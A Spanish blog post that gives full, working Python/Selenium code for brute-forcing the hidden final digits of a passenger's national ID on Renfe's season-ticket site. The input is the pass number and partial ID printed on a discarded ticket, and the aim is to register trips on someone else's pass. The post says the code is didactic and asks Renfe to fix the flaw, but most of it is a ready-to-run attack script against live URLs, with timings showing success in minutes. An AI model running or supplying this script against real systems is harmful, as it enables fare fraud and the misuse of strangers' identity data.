Webdriver: crackeando la web de Renfe


Todos los días tengo que coger el tren para ir a trabajar. Hablando con un amigo que también tiene que ir en tren, se me ocurrió comentarle que la seguridad de los abonos es muy mala, ya que hay que formalizar cada viaje y sacar un billete, donde se muestra el número de abono y se ocultan los 3 últimos dígitos del DNI y la letra. Insistí en que era capaz de sacarme viajes con su abono si me daba uno de sus billetes...

Y me retó.

Y como creo que es un ejemplo estupendo de uso de WebDriver. pues aquí lo tenemos.

Además, podremos ver algunas de las características chulas de Python :D

Licencia

El código que aparece en esta página es puramente didáctico. No debe utilizarse en ningún caso para obtener beneficio alguno. No me hago responsable de su mal uso, dado que es necesario obtener un billete correspondiente a un abono. Es decir: No basta con emplear el código aquí expuesto sin más.

Sinceramente espero que alguno de los programadores de la web de Renfe lea este artículo y lo utilice para dos cosas: Por un lado, para evitar este fallo de seguridad. Por otro, para implementar pruebas para la página que tienen.

El problema

El problema podría enunciarse así: Dado el número de abono y las 5 primeras cifras del DNI, encontrar un DNI que permita formalizar viajes.

Necesitaríamos el billete de algún ingenuo con abono... os sorprendería la cantidad de billetes que deja la gente en sus asientos.

La solución va en Python, aunque también se puede hacer en Java u otro lenguaje.

Primera idea

Mi primera idea fue ver la solicitud y lanzar un montón de curl. Pero resulta que el DNI y el número de abono se cifran en cada llamada... Bueno, no es problema.

Podría utilizar sus mismas funciones JavaScript sin cifrar de su página para codificar los argumentos... Pero hay otra manera más sencilla:

Segunda idea

Siempre podemos recurrir a WebDriver, e ir navegando la página hasta conseguir entrar.

Generando DNIs

Aprovechando lo explicado en el tutorial avanzado de Python, no cuesta nada hacernos un generador de DNIs:

class DniGenerator(object):
    def __init__(self, prefix):
        self._prefix = prefix

    def __iter__(self):
        terminations = range(1000)
        random.shuffle(terminations)

        return (self.__complete_dni(n) for n in terminations)

    def __complete_dni(self, suffix):
        number = '{prefix}{suffix:03}'.format(prefix=self._prefix, suffix=suffix)
        return number + self.__letter_for_dni(int(number))

    def __letter_for_dni(self, n):
        return 'TRWAGMYFPDXBNJZSQVHLCKE'[n%23]

Aquí podemos ver varias cosas interesantes. Mi clase implementa el método mágico __iter__ que devuelve un iterador. En este caso, devuelvo un generador directamente, que irá recorriendo las terminaciones y generando un DNI completo para cada una.

Respecto al crack, vemos que la letra del DNI se puede generar automáticamente, por lo que el problema se reduce a la generación de los 1000 números secuenciales. Como todos los números tienen las mismas posibilidades, he decidido darle un poco de aletoriedad para tratar de jugar con ventaja.

Argumentos de entrada

Veamos cómo leer los argumentos de entrada:

parser = argparse.ArgumentParser(usage="Given the Abono data, retrieves the rest of the DNI",
                                 description="By MagMax>")

parser.add_argument('-dni', action="store", required=True, help="Initial DNI numbers")
parser.add_argument('-abono', action="store", required=True, help="Abono number")

options = parser.parse_args()

Con eso es suficiente. Así no tengo que hardcodear mi DNI ni mi número de abono.

PageObjects

La mejor manera de usar WebDriver es mediante PageObjects. De esta manera, si modifican la página me será muy sencillo adaptar mi crack, y la implementación quedará oculta respecto del uso de la misma:

class PageObject(object):
    def __init__(self, browser):
        self._browser = browser


class InitialPage(PageObject):
    @staticmethod
    def create(browser):
        browser.get('http://www.renfe.com/')
        return InitialPage(browser)

    def go_ticket_page(self):
        self._browser.get('https://venta.renfe.com/vol/indiceAbonos.do?inirenfe=SI')
        return TicketPage(self._browser)


class TicketPage(PageObject):
    TYPE_MONTHLY = '492'
    TYPE_WEEKLY = '490'

    def select_ticket_type(self, ticket_type=TYPE_MONTHLY):
        select = Select(self._browser.find_element_by_id('comboListaAbonos'))
        select.select_by_value(ticket_type)

    def go_formalization_page(self):
        self._browser.find_element_by_link_text('Formalización de Viajes').click()
        return FormalizationPage(self._browser)


class FormalizationPage(PageObject):
    def write_code(self, code):
        self._browser.find_element_by_id('numAbonoBus').send_keys(code)

    def write_dni(self, dni):
        box = self._browser.find_element_by_id('dniCifBus')
        box.send_keys('\b'*10)
        box.send_keys(dni)

    def reload(self):
        self._browser.get('https://venta.renfe.com/vol/formalizacionAbonos.do?cdgoAbonoElegido=492&operAbonoElegido=AV')

    def is_valid(self):
        self._browser.find_element_by_link_text('Buscar').click()
        try:
            WebDriverWait(self._browser, 30).until(lambda x: x.find_element_by_id('link_botones_nav_href').is_displayed())
        except TimeoutException:
            return not self._browser.find_element_by_id('link_botones_nav_href').is_displayed()
        return False

Como veréis, sólo he modelado aquello que me hace falta: el botón de la página principal para ir a la página de tickets; la selección de tickets; el botón para ir a la página de formalizaciones; escribir el código del abono, escribir el DNI y pulsar el botón para entrar. Además tengo una comprobación de si he conseguido entrar o no (comprobando el mensaje de error).

He tenido que hacer algún parchecillo, ya que el mensaje a veces se quedaba inaccesible, así que se recarga la página. Así consigo seguir aprovechándome de la sesión y seguir por donde iba (y evito posibles leaks de la página que me tirarían el navegador).

Con eso puedo crearme el programa principal:

driver = webdriver.Chrome()
try:
    initial_page = InitialPage.create(driver)
    ticket_page = initial_page.go_ticket_page()
    ticket_page.select_ticket_type()
    formalization_page = ticket_page.go_formalization_page()
    formalization_page.write_code(options.abono)

    for dni in DniGenerator(options.dni):
        print 'Testing DNI:', dni
        formalization_page.write_dni(dni)
        if formalization_page.is_valid():
            print 'The required DNI is', dni
            break
finally:
    driver.close()

Creo que es autoexplicativo...

Este pequeño bucle comprueba aproximadamente 1 DNI cada 2 segundos... Eso significa que en 2000 segundos los habría probado todos. Reventar el abono de mi amigo en media hora no está nada mal, ¿verdad?

Tiempos

Tardé un viaje en tener listo el programa (qué paradoja, ¿eh?). Tenía algunos bugs y tal que tuve que arreglar en casa, ya que la conexión del móvil me ralentizó bastante.

Realmente me basé en un programa que ya tenía y que me permitía sacar billetes rápidamente, cuando la web de Renfe no mostraba la selección de asientos. Esto ya lo han arreglado y mi script no es tan útil.

Mi máquina de viaje es un Intel Atom N450 con 1Gb de RAM, y es donde he lanzado las pruebas:

  • Una ejecución encontró el resultado en el intento 128, tardando 5'46''.
  • Otra, en el intento 914, tardó 37'18''
  • La tercera, intento 332 y 13'56''

Más información

Podéis encontrar más información sobre los PageObjects en el artículo que escribí al respecto.

Tenéis más información sobre Python en mi tutorial avanzado de Python.

Todo el código

#!/usr/bin/env python
# -*- coding:utf-8; tab-width:4; mode:python -*-

import argparse
import random

from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.support.ui import Select
from selenium.webdriver.support.wait import WebDriverWait


class PageObject(object):
    def __init__(self, browser):
        self._browser = browser


class InitialPage(PageObject):
    @staticmethod
    def create(browser):
        browser.get('http://www.renfe.com/')
        return InitialPage(browser)

    def go_ticket_page(self):
        self._browser.get('https://venta.renfe.com/vol/indiceAbonos.do?inirenfe=SI')
        return TicketPage(self._browser)


class TicketPage(PageObject):
    TYPE_MONTHLY = '492'
    TYPE_WEEKLY = '490'

    def select_ticket_type(self, ticket_type=TYPE_MONTHLY):
        select = Select(self._browser.find_element_by_id('comboListaAbonos'))
        select.select_by_value(ticket_type)

    def go_formalization_page(self):
        self._browser.find_element_by_link_text('Formalización de Viajes').click()
        return FormalizationPage(self._browser)


class FormalizationPage(PageObject):
    def write_code(self, code):
        self._browser.find_element_by_id('numAbonoBus').send_keys(code)

    def write_dni(self, dni):
        box = self._browser.find_element_by_id('dniCifBus')
        box.send_keys('\b'*10)
        box.send_keys(dni)

    def reload(self):
        self._browser.get('https://venta.renfe.com/vol/formalizacionAbonos.do?cdgoAbonoElegido=492&operAbonoElegido=AV')

    def is_valid(self):
        self._browser.find_element_by_link_text('Buscar').click()
        try:
            WebDriverWait(self._browser, 30).until(lambda x: x.find_element_by_id('link_botones_nav_href').is_displayed())
        except TimeoutException:
            return not self._browser.find_element_by_id('link_botones_nav_href').is_displayed()
        return False



class DniGenerator(object):
    def __init__(self, prefix):
        self._prefix = prefix

    def __iter__(self):
        terminations = range(1000)
        random.shuffle(terminations)

        return (self.__complete_dni(n) for n in terminations)

    def __letter_for_dni(self, n):
        return 'TRWAGMYFPDXBNJZSQVHLCKE'[n%23]

    def __complete_dni(self, suffix):
        number = '{prefix}{suffix:03}'.format(prefix=self._prefix, suffix=suffix)
        return number + self.__letter_for_dni(int(number))


parser = argparse.ArgumentParser(usage="Given the Abono information, retrieves the rest of the DNI",
                                 description="By Miguel Angel Garcia <miguelangel@magmax.org>")

parser.add_argument('-dni', action="store", required=True, help="Initial DNI numbers")
parser.add_argument('-abono', action="store", required=True, help="Abono number")

options = parser.parse_args()

driver = webdriver.Chrome()
try:
    initial_page = InitialPage.create(driver)
    ticket_page = initial_page.go_ticket_page()
    ticket_page.select_ticket_type()
    formalization_page = ticket_page.go_formalization_page()

    for dni in DniGenerator(options.dni):
        print 'Testing DNI:', dni

        formalization_page.reload()
        formalization_page.write_code(options.abono)
        formalization_page.write_dni(dni)
        if formalization_page.is_valid():
            print 'The required DNI is', dni
            break
finally:
    driver.close()

Comentarios

Comments powered by Disqus